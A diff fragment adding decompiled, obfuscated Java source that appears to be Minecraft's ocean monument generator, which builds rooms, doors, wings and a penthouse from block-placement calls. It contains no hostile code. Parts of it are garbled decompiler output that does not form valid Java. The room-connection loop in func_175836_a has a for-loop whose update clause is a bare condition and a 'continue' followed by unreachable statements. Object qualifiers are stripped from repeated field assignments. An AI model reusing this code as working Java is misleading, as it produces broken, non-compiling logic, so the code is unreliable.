+        func_175804_a(worldIn, p_74875_3_, 1, var8, 0, 6, var8, 0, var9, var9, false);
+        func_175804_a(worldIn, p_74875_3_, 1, var8, 15, 6, var8, 15, var9, var9, false);
+      }
+      
+      for (var8 = 1; var8 <= 7; var8++)
+      {
+        IBlockState var9 = field_175827_c;
+        
+        if ((var8 == 2) || (var8 == 6))
+        {
+          var9 = field_175825_e;
+        }
+        
+        func_175804_a(worldIn, p_74875_3_, 3, var8, 7, 4, var8, 8, var9, var9, false);
+      }
+      
+      if (field_175966_c[EnumFacing.SOUTH.getIndex()] != 0)
+      {
+        func_175804_a(worldIn, p_74875_3_, 3, 1, 0, 4, 2, 0, field_175822_f, field_175822_f, false);
+      }
+      
+      if (field_175966_c[EnumFacing.EAST.getIndex()] != 0)
+      {
+        func_175804_a(worldIn, p_74875_3_, 7, 1, 3, 7, 2, 4, field_175822_f, field_175822_f, false);
+      }
+      
+      if (field_175966_c[EnumFacing.WEST.getIndex()] != 0)
+      {
+        func_175804_a(worldIn, p_74875_3_, 0, 1, 3, 0, 2, 4, field_175822_f, field_175822_f, false);
+      }
+      
+      if (field_175966_c[EnumFacing.NORTH.getIndex()] != 0)
+      {
+        func_175804_a(worldIn, p_74875_3_, 3, 1, 15, 4, 2, 15, field_175822_f, field_175822_f, false);
+      }
+      
+      if (field_175966_c[EnumFacing.WEST.getIndex()] != 0)
+      {
+        func_175804_a(worldIn, p_74875_3_, 0, 1, 11, 0, 2, 12, field_175822_f, field_175822_f, false);
+      }
+      
+      if (field_175966_c[EnumFacing.EAST.getIndex()] != 0)
+      {
+        func_175804_a(worldIn, p_74875_3_, 7, 1, 11, 7, 2, 12, field_175822_f, field_175822_f, false);
+      }
+      
+      if (field_175966_c[EnumFacing.SOUTH.getIndex()] != 0)
+      {
+        func_175804_a(worldIn, p_74875_3_, 3, 5, 0, 4, 6, 0, field_175822_f, field_175822_f, false);
+      }
+      
+      if (field_175966_c[EnumFacing.EAST.getIndex()] != 0)
+      {
+        func_175804_a(worldIn, p_74875_3_, 7, 5, 3, 7, 6, 4, field_175822_f, field_175822_f, false);
+        func_175804_a(worldIn, p_74875_3_, 5, 4, 2, 6, 4, 5, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 6, 1, 2, 6, 3, 2, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 6, 1, 5, 6, 3, 5, field_175826_b, field_175826_b, false);
+      }
+      
+      if (field_175966_c[EnumFacing.WEST.getIndex()] != 0)
+      {
+        func_175804_a(worldIn, p_74875_3_, 0, 5, 3, 0, 6, 4, field_175822_f, field_175822_f, false);
+        func_175804_a(worldIn, p_74875_3_, 1, 4, 2, 2, 4, 5, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 1, 1, 2, 1, 3, 2, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 1, 1, 5, 1, 3, 5, field_175826_b, field_175826_b, false);
+      }
+      
+      if (field_175966_c[EnumFacing.NORTH.getIndex()] != 0)
+      {
+        func_175804_a(worldIn, p_74875_3_, 3, 5, 15, 4, 6, 15, field_175822_f, field_175822_f, false);
+      }
+      
+      if (field_175966_c[EnumFacing.WEST.getIndex()] != 0)
+      {
+        func_175804_a(worldIn, p_74875_3_, 0, 5, 11, 0, 6, 12, field_175822_f, field_175822_f, false);
+        func_175804_a(worldIn, p_74875_3_, 1, 4, 10, 2, 4, 13, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 1, 1, 10, 1, 3, 10, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 1, 1, 13, 1, 3, 13, field_175826_b, field_175826_b, false);
+      }
+      
+      if (field_175966_c[EnumFacing.EAST.getIndex()] != 0)
+      {
+        func_175804_a(worldIn, p_74875_3_, 7, 5, 11, 7, 6, 12, field_175822_f, field_175822_f, false);
+        func_175804_a(worldIn, p_74875_3_, 5, 4, 10, 6, 4, 13, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 6, 1, 10, 6, 3, 10, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_74875_3_, 6, 1, 13, 6, 3, 13, field_175826_b, field_175826_b, false);
+      }
+      
+      return true;
+    }
+  }
+  
+  public static class DoubleZRoom extends StructureOceanMonumentPieces.Piece
+  {
+    private static final String __OBFID = "CL_00001979";
+    
+    public DoubleZRoom() {}
+    
+    public DoubleZRoom(EnumFacing p_i45593_1_, StructureOceanMonumentPieces.RoomDefinition p_i45593_2_, Random p_i45593_3_)
+    {
+      super(p_i45593_1_, p_i45593_2_, 1, 1, 2);
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      StructureOceanMonumentPieces.RoomDefinition var4 = field_175830_k.field_175965_b[EnumFacing.NORTH.getIndex()];
+      StructureOceanMonumentPieces.RoomDefinition var5 = field_175830_k;
+      
+      if (field_175830_k.field_175967_a / 25 > 0)
+      {
+        func_175821_a(worldIn, p_74875_3_, 0, 8, field_175966_c[EnumFacing.DOWN.getIndex()]);
+        func_175821_a(worldIn, p_74875_3_, 0, 0, field_175966_c[EnumFacing.DOWN.getIndex()]);
+      }
+      
+      if (field_175965_b[EnumFacing.UP.getIndex()] == null)
+      {
+        func_175819_a(worldIn, p_74875_3_, 1, 4, 1, 6, 4, 7, field_175828_a);
+      }
+      
+      if (field_175965_b[EnumFacing.UP.getIndex()] == null)
+      {
+        func_175819_a(worldIn, p_74875_3_, 1, 4, 8, 6, 4, 14, field_175828_a);
+      }
+      
+      func_175804_a(worldIn, p_74875_3_, 0, 3, 0, 0, 3, 15, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 7, 3, 0, 7, 3, 15, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 1, 3, 0, 7, 3, 0, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 1, 3, 15, 6, 3, 15, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 0, 2, 0, 0, 2, 15, field_175828_a, field_175828_a, false);
+      func_175804_a(worldIn, p_74875_3_, 7, 2, 0, 7, 2, 15, field_175828_a, field_175828_a, false);
+      func_175804_a(worldIn, p_74875_3_, 1, 2, 0, 7, 2, 0, field_175828_a, field_175828_a, false);
+      func_175804_a(worldIn, p_74875_3_, 1, 2, 15, 6, 2, 15, field_175828_a, field_175828_a, false);
+      func_175804_a(worldIn, p_74875_3_, 0, 1, 0, 0, 1, 15, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 7, 1, 0, 7, 1, 15, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 1, 1, 0, 7, 1, 0, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 1, 1, 15, 6, 1, 15, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 1, 1, 1, 1, 1, 2, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 6, 1, 1, 6, 1, 2, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 1, 3, 1, 1, 3, 2, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 6, 3, 1, 6, 3, 2, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 1, 1, 13, 1, 1, 14, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 6, 1, 13, 6, 1, 14, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 1, 3, 13, 1, 3, 14, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 6, 3, 13, 6, 3, 14, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 2, 1, 6, 2, 3, 6, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 5, 1, 6, 5, 3, 6, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 2, 1, 9, 2, 3, 9, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 5, 1, 9, 5, 3, 9, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 3, 2, 6, 4, 2, 6, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 3, 2, 9, 4, 2, 9, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 2, 2, 7, 2, 2, 8, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 5, 2, 7, 5, 2, 8, field_175826_b, field_175826_b, false);
+      func_175811_a(worldIn, field_175825_e, 2, 2, 5, p_74875_3_);
+      func_175811_a(worldIn, field_175825_e, 5, 2, 5, p_74875_3_);
+      func_175811_a(worldIn, field_175825_e, 2, 2, 10, p_74875_3_);
+      func_175811_a(worldIn, field_175825_e, 5, 2, 10, p_74875_3_);
+      func_175811_a(worldIn, field_175826_b, 2, 3, 5, p_74875_3_);
+      func_175811_a(worldIn, field_175826_b, 5, 3, 5, p_74875_3_);
+      func_175811_a(worldIn, field_175826_b, 2, 3, 10, p_74875_3_);
+      func_175811_a(worldIn, field_175826_b, 5, 3, 10, p_74875_3_);
+      
+      if (field_175966_c[EnumFacing.SOUTH.getIndex()] != 0)
+      {
+        func_175804_a(worldIn, p_74875_3_, 3, 1, 0, 4, 2, 0, field_175822_f, field_175822_f, false);
+      }
+      
+      if (field_175966_c[EnumFacing.EAST.getIndex()] != 0)
+      {
+        func_175804_a(worldIn, p_74875_3_, 7, 1, 3, 7, 2, 4, field_175822_f, field_175822_f, false);
+      }
+      
+      if (field_175966_c[EnumFacing.WEST.getIndex()] != 0)
+      {
+        func_175804_a(worldIn, p_74875_3_, 0, 1, 3, 0, 2, 4, field_175822_f, field_175822_f, false);
+      }
+      
+      if (field_175966_c[EnumFacing.NORTH.getIndex()] != 0)
+      {
+        func_175804_a(worldIn, p_74875_3_, 3, 1, 15, 4, 2, 15, field_175822_f, field_175822_f, false);
+      }
+      
+      if (field_175966_c[EnumFacing.WEST.getIndex()] != 0)
+      {
+        func_175804_a(worldIn, p_74875_3_, 0, 1, 11, 0, 2, 12, field_175822_f, field_175822_f, false);
+      }
+      
+      if (field_175966_c[EnumFacing.EAST.getIndex()] != 0)
+      {
+        func_175804_a(worldIn, p_74875_3_, 7, 1, 11, 7, 2, 12, field_175822_f, field_175822_f, false);
+      }
+      
+      return true;
+    }
+  }
+  
+  public static class EntryRoom extends StructureOceanMonumentPieces.Piece
+  {
+    private static final String __OBFID = "CL_00001978";
+    
+    public EntryRoom() {}
+    
+    public EntryRoom(EnumFacing p_i45592_1_, StructureOceanMonumentPieces.RoomDefinition p_i45592_2_)
+    {
+      super(p_i45592_1_, p_i45592_2_, 1, 1, 1);
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      func_175804_a(worldIn, p_74875_3_, 0, 3, 0, 2, 3, 7, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 5, 3, 0, 7, 3, 7, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 0, 2, 0, 1, 2, 7, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 6, 2, 0, 7, 2, 7, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 0, 1, 0, 0, 1, 7, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 7, 1, 0, 7, 1, 7, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 0, 1, 7, 7, 3, 7, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 1, 1, 0, 2, 3, 0, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 5, 1, 0, 6, 3, 0, field_175826_b, field_175826_b, false);
+      
+      if (field_175830_k.field_175966_c[EnumFacing.NORTH.getIndex()] != 0)
+      {
+        func_175804_a(worldIn, p_74875_3_, 3, 1, 7, 4, 2, 7, field_175822_f, field_175822_f, false);
+      }
+      
+      if (field_175830_k.field_175966_c[EnumFacing.WEST.getIndex()] != 0)
+      {
+        func_175804_a(worldIn, p_74875_3_, 0, 1, 3, 1, 2, 4, field_175822_f, field_175822_f, false);
+      }
+      
+      if (field_175830_k.field_175966_c[EnumFacing.EAST.getIndex()] != 0)
+      {
+        func_175804_a(worldIn, p_74875_3_, 6, 1, 3, 7, 2, 4, field_175822_f, field_175822_f, false);
+      }
+      
+      return true;
+    }
+  }
+  
+  static class FitSimpleRoomHelper implements StructureOceanMonumentPieces.MonumentRoomFitHelper
+  {
+    private static final String __OBFID = "CL_00001987";
+    
+    private FitSimpleRoomHelper() {}
+    
+    public boolean func_175969_a(StructureOceanMonumentPieces.RoomDefinition p_175969_1_)
+    {
+      return true;
+    }
+    
+    public StructureOceanMonumentPieces.Piece func_175968_a(EnumFacing p_175968_1_, StructureOceanMonumentPieces.RoomDefinition p_175968_2_, Random p_175968_3_)
+    {
+      field_175963_d = true;
+      return new StructureOceanMonumentPieces.SimpleRoom(p_175968_1_, p_175968_2_, p_175968_3_);
+    }
+    
+    FitSimpleRoomHelper(StructureOceanMonumentPieces.SwitchEnumFacing p_i45601_1_)
+    {
+      this();
+    }
+  }
+  
+  static class FitSimpleRoomTopHelper implements StructureOceanMonumentPieces.MonumentRoomFitHelper
+  {
+    private static final String __OBFID = "CL_00001986";
+    
+    private FitSimpleRoomTopHelper() {}
+    
+    public boolean func_175969_a(StructureOceanMonumentPieces.RoomDefinition p_175969_1_)
+    {
+      return (field_175966_c[EnumFacing.WEST.getIndex()] == 0) && (field_175966_c[EnumFacing.EAST.getIndex()] == 0) && (field_175966_c[EnumFacing.NORTH.getIndex()] == 0) && (field_175966_c[EnumFacing.SOUTH.getIndex()] == 0) && (field_175966_c[EnumFacing.UP.getIndex()] == 0);
+    }
+    
+    public StructureOceanMonumentPieces.Piece func_175968_a(EnumFacing p_175968_1_, StructureOceanMonumentPieces.RoomDefinition p_175968_2_, Random p_175968_3_)
+    {
+      field_175963_d = true;
+      return new StructureOceanMonumentPieces.SimpleTopRoom(p_175968_1_, p_175968_2_, p_175968_3_);
+    }
+    
+    FitSimpleRoomTopHelper(StructureOceanMonumentPieces.SwitchEnumFacing p_i45600_1_)
+    {
+      this();
+    }
+  }
+  
+  public static class MonumentBuilding extends StructureOceanMonumentPieces.Piece
+  {
+    private StructureOceanMonumentPieces.RoomDefinition field_175845_o;
+    private StructureOceanMonumentPieces.RoomDefinition field_175844_p;
+    private List field_175843_q = Lists.newArrayList();
+    private static final String __OBFID = "CL_00001985";
+    
+    public MonumentBuilding() {}
+    
+    public MonumentBuilding(Random p_i45599_1_, int p_i45599_2_, int p_i45599_3_, EnumFacing p_i45599_4_)
+    {
+      super();
+      coordBaseMode = p_i45599_4_;
+      
+      switch (StructureOceanMonumentPieces.SwitchEnumFacing.field_175971_a[coordBaseMode.ordinal()])
+      {
+      case 1: 
+      case 2: 
+        boundingBox = new StructureBoundingBox(p_i45599_2_, 39, p_i45599_3_, p_i45599_2_ + 58 - 1, 61, p_i45599_3_ + 58 - 1);
+        break;
+      
+      default: 
+        boundingBox = new StructureBoundingBox(p_i45599_2_, 39, p_i45599_3_, p_i45599_2_ + 58 - 1, 61, p_i45599_3_ + 58 - 1);
+      }
+      
+      List var5 = func_175836_a(p_i45599_1_);
+      field_175845_o.field_175963_d = true;
+      field_175843_q.add(new StructureOceanMonumentPieces.EntryRoom(coordBaseMode, field_175845_o));
+      field_175843_q.add(new StructureOceanMonumentPieces.MonumentCoreRoom(coordBaseMode, field_175844_p, p_i45599_1_));
+      ArrayList var6 = Lists.newArrayList();
+      var6.add(new StructureOceanMonumentPieces.XYDoubleRoomFitHelper(null));
+      var6.add(new StructureOceanMonumentPieces.YZDoubleRoomFitHelper(null));
+      var6.add(new StructureOceanMonumentPieces.ZDoubleRoomFitHelper(null));
+      var6.add(new StructureOceanMonumentPieces.XDoubleRoomFitHelper(null));
+      var6.add(new StructureOceanMonumentPieces.YDoubleRoomFitHelper(null));
+      var6.add(new StructureOceanMonumentPieces.FitSimpleRoomTopHelper(null));
+      var6.add(new StructureOceanMonumentPieces.FitSimpleRoomHelper(null));
+      Iterator var7 = var5.iterator();
+      
+      while (var7.hasNext())
+      {
+        StructureOceanMonumentPieces.RoomDefinition var8 = (StructureOceanMonumentPieces.RoomDefinition)var7.next();
+        
+        if ((!field_175963_d) && (!var8.func_175961_b()))
+        {
+          Iterator var9 = var6.iterator();
+          
+          while (var9.hasNext())
+          {
+            StructureOceanMonumentPieces.MonumentRoomFitHelper var10 = (StructureOceanMonumentPieces.MonumentRoomFitHelper)var9.next();
+            
+            if (var10.func_175969_a(var8))
+            {
+              field_175843_q.add(var10.func_175968_a(coordBaseMode, var8, p_i45599_1_));
+              break;
+            }
+          }
+        }
+      }
+      
+      int var14 = boundingBox.minY;
+      int var15 = getXWithOffset(9, 22);
+      int var16 = getZWithOffset(9, 22);
+      Iterator var17 = field_175843_q.iterator();
+      
+      while (var17.hasNext())
+      {
+        StructureOceanMonumentPieces.Piece var11 = (StructureOceanMonumentPieces.Piece)var17.next();
+        var11.getBoundingBox().offset(var15, var14, var16);
+      }
+      
+      StructureBoundingBox var18 = StructureBoundingBox.func_175899_a(getXWithOffset(1, 1), getYWithOffset(1), getZWithOffset(1, 1), getXWithOffset(23, 21), getYWithOffset(8), getZWithOffset(23, 21));
+      StructureBoundingBox var19 = StructureBoundingBox.func_175899_a(getXWithOffset(34, 1), getYWithOffset(1), getZWithOffset(34, 1), getXWithOffset(56, 21), getYWithOffset(8), getZWithOffset(56, 21));
+      StructureBoundingBox var12 = StructureBoundingBox.func_175899_a(getXWithOffset(22, 22), getYWithOffset(13), getZWithOffset(22, 22), getXWithOffset(35, 35), getYWithOffset(17), getZWithOffset(35, 35));
+      int var13 = p_i45599_1_.nextInt();
+      field_175843_q.add(new StructureOceanMonumentPieces.WingRoom(coordBaseMode, var18, var13++));
+      field_175843_q.add(new StructureOceanMonumentPieces.WingRoom(coordBaseMode, var19, var13++));
+      field_175843_q.add(new StructureOceanMonumentPieces.Penthouse(coordBaseMode, var12));
+    }
+    
+    private List func_175836_a(Random p_175836_1_)
+    {
+      StructureOceanMonumentPieces.RoomDefinition[] var2 = new StructureOceanMonumentPieces.RoomDefinition[75];
+      
+
+
+
+
+      for (int var3 = 0; var3 < 5; var3++)
+      {
+        for (int var4 = 0; var4 < 4; var4++)
+        {
+          byte var5 = 0;
+          int var6 = func_175820_a(var3, var5, var4);
+          var2[var6] = new StructureOceanMonumentPieces.RoomDefinition(var6);
+        }
+      }
+      
+      for (var3 = 0; var3 < 5; var3++)
+      {
+        for (int var4 = 0; var4 < 4; var4++)
+        {
+          byte var5 = 1;
+          int var6 = func_175820_a(var3, var5, var4);
+          var2[var6] = new StructureOceanMonumentPieces.RoomDefinition(var6);
+        }
+      }
+      
+      for (var3 = 1; var3 < 4; var3++)
+      {
+        for (int var4 = 0; var4 < 2; var4++)
+        {
+          byte var5 = 2;
+          int var6 = func_175820_a(var3, var5, var4);
+          var2[var6] = new StructureOceanMonumentPieces.RoomDefinition(var6);
+        }
+      }
+      
+      field_175845_o = var2[field_175823_g];
+      
+
+
+
+
+
+      for (var3 = 0; var3 < 5; var3++)
+      {
+        for (int var4 = 0; var4 < 5; var4++)
+        {
+          for (int var17 = 0; var17 < 3; var17++)
+          {
+            int var6 = func_175820_a(var3, var17, var4);
+            
+            if (var2[var6] != null)
+            {
+              EnumFacing[] var7 = EnumFacing.values();
+              int var8 = var7.length;
+              
+              for (int var9 = 0; var9 < var8; var9++)
+              {
+                EnumFacing var10 = var7[var9];
+                int var11 = var3 + var10.getFrontOffsetX();
+                int var12 = var17 + var10.getFrontOffsetY();
+                int var13 = var4 + var10.getFrontOffsetZ();
+                
+                if ((var11 >= 0) && (var11 < 5) && (var13 >= 0) && (var13 < 5) && (var12 >= 0) && (var12 < 3))
+                {
+                  int var14 = func_175820_a(var11, var12, var13);
+                  
+                  if (var2[var14] != null)
+                  {
+                    if (var13 != var4)
+                    {
+                      var2[var6].func_175957_a(var10.getOpposite(), var2[var14]);
+                    }
+                    else
+                    {
+                      var2[var6].func_175957_a(var10, var2[var14]);
+                    }
+                  }
+                }
+              }
+            }
+          }
+        }
+      }
+      
+
+      StructureOceanMonumentPieces.RoomDefinition var15;
+      
+      var2[field_175831_h].func_175957_a(EnumFacing.UP, var15 = new StructureOceanMonumentPieces.RoomDefinition(1003));
+      StructureOceanMonumentPieces.RoomDefinition var16; var2[field_175832_i].func_175957_a(EnumFacing.SOUTH, var16 = new StructureOceanMonumentPieces.RoomDefinition(1001));
+      StructureOceanMonumentPieces.RoomDefinition var18; var2[field_175829_j].func_175957_a(EnumFacing.SOUTH, var18 = new StructureOceanMonumentPieces.RoomDefinition(1002));
+      field_175963_d = true;
+      field_175963_d = true;
+      field_175963_d = true;
+      field_175845_o.field_175964_e = true;
+      field_175844_p = var2[func_175820_a(p_175836_1_.nextInt(4), 0, 2)];
+      field_175844_p.field_175963_d = true;
+      field_175844_p.field_175965_b[EnumFacing.EAST.getIndex()].field_175963_d = true;
+      field_175844_p.field_175965_b[EnumFacing.NORTH.getIndex()].field_175963_d = true;
+      field_175844_p.field_175965_b[EnumFacing.EAST.getIndex()].field_175965_b[EnumFacing.NORTH.getIndex()].field_175963_d = true;
+      field_175844_p.field_175965_b[EnumFacing.UP.getIndex()].field_175963_d = true;
+      field_175844_p.field_175965_b[EnumFacing.EAST.getIndex()].field_175965_b[EnumFacing.UP.getIndex()].field_175963_d = true;
+      field_175844_p.field_175965_b[EnumFacing.NORTH.getIndex()].field_175965_b[EnumFacing.UP.getIndex()].field_175963_d = true;
+      field_175844_p.field_175965_b[EnumFacing.EAST.getIndex()].field_175965_b[EnumFacing.NORTH.getIndex()].field_175965_b[EnumFacing.UP.getIndex()].field_175963_d = true;
+      ArrayList var19 = Lists.newArrayList();
+      StructureOceanMonumentPieces.RoomDefinition[] var20 = var2;
+      int var8 = var2.length;
+      
+      for (int var9 = 0; var9 < var8; var9++)
+      {
+        StructureOceanMonumentPieces.RoomDefinition var24 = var20[var9];
+        
+        if (var24 != null)
+        {
+          var24.func_175958_a();
+          var19.add(var24);
+        }
+      }
+      
+      var15.func_175958_a();
+      java.util.Collections.shuffle(var19, p_175836_1_);
+      int var21 = 1;
+      Iterator var22 = var19.iterator();
+      int var25;
+      int var11; for (; var22.hasNext(); 
+          
+
+
+
+
+          (var25 < 2) && (var11 < 5))
+      {
+        StructureOceanMonumentPieces.RoomDefinition var23 = (StructureOceanMonumentPieces.RoomDefinition)var22.next();
+        var25 = 0;
+        var11 = 0;
+        
+        continue;
+        
+        var11++;
+        int var12 = p_175836_1_.nextInt(6);
+        
+        if (field_175966_c[var12] != 0)
+        {
+          int var13 = EnumFacing.getFront(var12).getOpposite().getIndex();
+          field_175966_c[var12] = false;
+          field_175965_b[var12].field_175966_c[var13] = false;
+          
+          if ((var23.func_175959_a(var21++)) && (field_175965_b[var12].func_175959_a(var21++)))
+          {
+            var25++;
+          }
+          else
+          {
+            field_175966_c[var12] = true;
+            field_175965_b[var12].field_175966_c[var13] = true;
+          }
+        }
+      }
+      
+
+      var19.add(var15);
+      var19.add(var16);
+      var19.add(var18);
+      return var19;
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      func_175840_a(false, 0, worldIn, p_74875_2_, p_74875_3_);
+      func_175840_a(true, 33, worldIn, p_74875_2_, p_74875_3_);
+      func_175839_b(worldIn, p_74875_2_, p_74875_3_);
+      func_175837_c(worldIn, p_74875_2_, p_74875_3_);
+      func_175841_d(worldIn, p_74875_2_, p_74875_3_);
+      func_175835_e(worldIn, p_74875_2_, p_74875_3_);
+      func_175842_f(worldIn, p_74875_2_, p_74875_3_);
+      func_175838_g(worldIn, p_74875_2_, p_74875_3_);
+      
+
+      for (int var4 = 0; var4 < 7; var4++)
+      {
+        int var5 = 0;
+        
+        while (var5 < 7)
+        {
+          if ((var5 == 0) && (var4 == 3))
+          {
+            var5 = 6;
+          }
+          
+          int var6 = var4 * 9;
+          int var7 = var5 * 9;
+          
+          for (int var8 = 0; var8 < 4; var8++)
+          {
+            for (int var9 = 0; var9 < 4; var9++)
+            {
+              func_175811_a(worldIn, field_175826_b, var6 + var8, 0, var7 + var9, p_74875_3_);
+              func_175808_b(worldIn, field_175826_b, var6 + var8, -1, var7 + var9, p_74875_3_);
+            }
+          }
+          
+          if ((var4 != 0) && (var4 != 6))
+          {
+            var5 += 6;
+          }
+          else
+          {
+            var5++;
+          }
+        }
+      }
+      
+      for (var4 = 0; var4 < 5; var4++)
+      {
+        func_175804_a(worldIn, p_74875_3_, -1 - var4, 0 + var4 * 2, -1 - var4, -1 - var4, 23, 58 + var4, field_175822_f, field_175822_f, false);
+        func_175804_a(worldIn, p_74875_3_, 58 + var4, 0 + var4 * 2, -1 - var4, 58 + var4, 23, 58 + var4, field_175822_f, field_175822_f, false);
+        func_175804_a(worldIn, p_74875_3_, 0 - var4, 0 + var4 * 2, -1 - var4, 57 + var4, 23, -1 - var4, field_175822_f, field_175822_f, false);
+        func_175804_a(worldIn, p_74875_3_, 0 - var4, 0 + var4 * 2, 58 + var4, 57 + var4, 23, 58 + var4, field_175822_f, field_175822_f, false);
+      }
+      
+      Iterator var10 = field_175843_q.iterator();
+      
+      while (var10.hasNext())
+      {
+        StructureOceanMonumentPieces.Piece var11 = (StructureOceanMonumentPieces.Piece)var10.next();
+        
+        if (var11.getBoundingBox().intersectsWith(p_74875_3_))
+        {
+          var11.addComponentParts(worldIn, p_74875_2_, p_74875_3_);
+        }
+      }
+      
+      return true;
+    }
+    
+    private void func_175840_a(boolean p_175840_1_, int p_175840_2_, World worldIn, Random p_175840_4_, StructureBoundingBox p_175840_5_)
+    {
+      boolean var6 = true;
+      
+      if (func_175818_a(p_175840_5_, p_175840_2_, 0, p_175840_2_ + 23, 20))
+      {
+        func_175804_a(worldIn, p_175840_5_, p_175840_2_ + 0, 0, 0, p_175840_2_ + 24, 0, 20, field_175828_a, field_175828_a, false);
+        func_175804_a(worldIn, p_175840_5_, p_175840_2_ + 0, 1, 0, p_175840_2_ + 24, 10, 20, field_175822_f, field_175822_f, false);
+        
+
+        for (int var7 = 0; var7 < 4; var7++)
+        {
+          func_175804_a(worldIn, p_175840_5_, p_175840_2_ + var7, var7 + 1, var7, p_175840_2_ + var7, var7 + 1, 20, field_175826_b, field_175826_b, false);
+          func_175804_a(worldIn, p_175840_5_, p_175840_2_ + var7 + 7, var7 + 5, var7 + 7, p_175840_2_ + var7 + 7, var7 + 5, 20, field_175826_b, field_175826_b, false);
+          func_175804_a(worldIn, p_175840_5_, p_175840_2_ + 17 - var7, var7 + 5, var7 + 7, p_175840_2_ + 17 - var7, var7 + 5, 20, field_175826_b, field_175826_b, false);
+          func_175804_a(worldIn, p_175840_5_, p_175840_2_ + 24 - var7, var7 + 1, var7, p_175840_2_ + 24 - var7, var7 + 1, 20, field_175826_b, field_175826_b, false);
+          func_175804_a(worldIn, p_175840_5_, p_175840_2_ + var7 + 1, var7 + 1, var7, p_175840_2_ + 23 - var7, var7 + 1, var7, field_175826_b, field_175826_b, false);
+          func_175804_a(worldIn, p_175840_5_, p_175840_2_ + var7 + 8, var7 + 5, var7 + 7, p_175840_2_ + 16 - var7, var7 + 5, var7 + 7, field_175826_b, field_175826_b, false);
+        }
+        
+        func_175804_a(worldIn, p_175840_5_, p_175840_2_ + 4, 4, 4, p_175840_2_ + 6, 4, 20, field_175828_a, field_175828_a, false);
+        func_175804_a(worldIn, p_175840_5_, p_175840_2_ + 7, 4, 4, p_175840_2_ + 17, 4, 6, field_175828_a, field_175828_a, false);
+        func_175804_a(worldIn, p_175840_5_, p_175840_2_ + 18, 4, 4, p_175840_2_ + 20, 4, 20, field_175828_a, field_175828_a, false);
+        func_175804_a(worldIn, p_175840_5_, p_175840_2_ + 11, 8, 11, p_175840_2_ + 13, 8, 20, field_175828_a, field_175828_a, false);
+        func_175811_a(worldIn, field_175824_d, p_175840_2_ + 12, 9, 12, p_175840_5_);
+        func_175811_a(worldIn, field_175824_d, p_175840_2_ + 12, 9, 15, p_175840_5_);
+        func_175811_a(worldIn, field_175824_d, p_175840_2_ + 12, 9, 18, p_175840_5_);
+        var7 = p_175840_1_ ? p_175840_2_ + 19 : p_175840_2_ + 5;
+        int var8 = p_175840_1_ ? p_175840_2_ + 5 : p_175840_2_ + 19;
+        
+
+        for (int var9 = 20; var9 >= 5; var9 -= 3)
+        {
+          func_175811_a(worldIn, field_175824_d, var7, 5, var9, p_175840_5_);
+        }
+        
+        for (var9 = 19; var9 >= 7; var9 -= 3)
+        {
+          func_175811_a(worldIn, field_175824_d, var8, 5, var9, p_175840_5_);
+        }
+        
+        for (var9 = 0; var9 < 4; var9++)
+        {
+          int var10 = p_175840_1_ ? p_175840_2_ + (24 - (17 - var9 * 3)) : p_175840_2_ + 17 - var9 * 3;
+          func_175811_a(worldIn, field_175824_d, var10, 5, 5, p_175840_5_);
+        }
+        
+        func_175811_a(worldIn, field_175824_d, var8, 5, 5, p_175840_5_);
+        func_175804_a(worldIn, p_175840_5_, p_175840_2_ + 11, 1, 12, p_175840_2_ + 13, 7, 12, field_175828_a, field_175828_a, false);
